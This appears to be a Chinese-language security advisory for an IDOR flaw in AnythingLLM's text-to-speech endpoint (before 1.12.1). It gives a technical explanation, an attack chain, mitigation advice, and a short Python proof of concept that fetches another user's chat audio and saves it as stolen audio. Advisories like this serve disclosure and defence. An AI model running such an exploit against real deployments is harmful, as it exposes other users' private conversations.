IPBUF安全漏洞报告
English
CVE-2026-42456 CVSS 4.3 中危

CVE-2026-42456 AnythingLLM IDOR漏洞导致音频泄露

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42456
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AnythingLLM

相关标签

IDORAnythingLLM信息泄露权限绕过逻辑漏洞

漏洞概述

AnythingLLM 在 1.12.1 之前的版本中存在不安全的直接对象引用(IDOR)漏洞。由于 TTS 端点仅验证工作区成员身份而未校验聊天记录的所有权,经过身份验证的攻击者可利用已知的 chatId 访问同一工作区内其他用户的私人聊天响应音频。该漏洞可能导致敏感对话内容泄露,建议尽快升级修复。

技术细节

该漏洞源于 AnythingLLM 的 TTS 接口 `/api/workspace/:slug/tts/:chatId` 在访问控制设计上存在缺陷。系统在处理请求时,仅验证了请求者是否属于 URL 参数中指定的工作区,而未进一步验证请求者是否拥有目标 `chatId` 对应的聊天记录的所有权。由于 `chatId` 通常为可预测的整型或短 UUID,在同一工作区内的任何经过身份验证的用户,只要通过枚举、猜测或日志泄露等方式获取到其他用户的 `chatId`,即可构造 HTTP GET 请求直接调用该接口。服务器会误认为请求合法,并返回该聊天记录的文本转语音音频文件。这种水平越权行为破坏了多租户环境下的数据隔离原则,使得原本私有的 AI 助手对话内容面临泄露风险。

攻击链分析

STEP 1
侦察
攻击者注册或获取一个AnythingLLM账户,并确认目标用户处于同一工作区内。
STEP 2
认证
攻击者使用自己的凭证登录,获取有效的Session Token或Cookie。
STEP 3
枚举或猜测
攻击者尝试猜测、枚举或通过其他方式获取目标用户的chatId。
STEP 4
漏洞利用
攻击者构造GET请求访问/api/workspace/:slug/tts/:chatId接口,携带自己的认证Token和目标的chatId。
STEP 5
数据窃取
服务器由于校验逻辑缺陷,返回了目标聊天记录的TTS音频文件,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://target-domain.com" workspace_slug = "general-workspace" victim_chat_id = "12345" # ID of the victim's chat attacker_token = "ATTACKER_JWT_TOKEN" # Valid session token of the attacker # Construct the vulnerable endpoint URL vuln_endpoint = f"{target_url}/api/workspace/{workspace_slug}/tts/{victim_chat_id}" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Send exploitation request try: response = requests.get(vuln_endpoint, headers=headers) if response.status_code == 200: print("[+] Exploit Successful! Audio data received.") # Save the stolen audio file with open("stolen_audio.mp3", "wb") as f: f.write(response.content) else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

AnythingLLM < 1.12.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用TTS功能,并严格限制工作区成员的加入权限,仅允许受信任的用户访问。

参考链接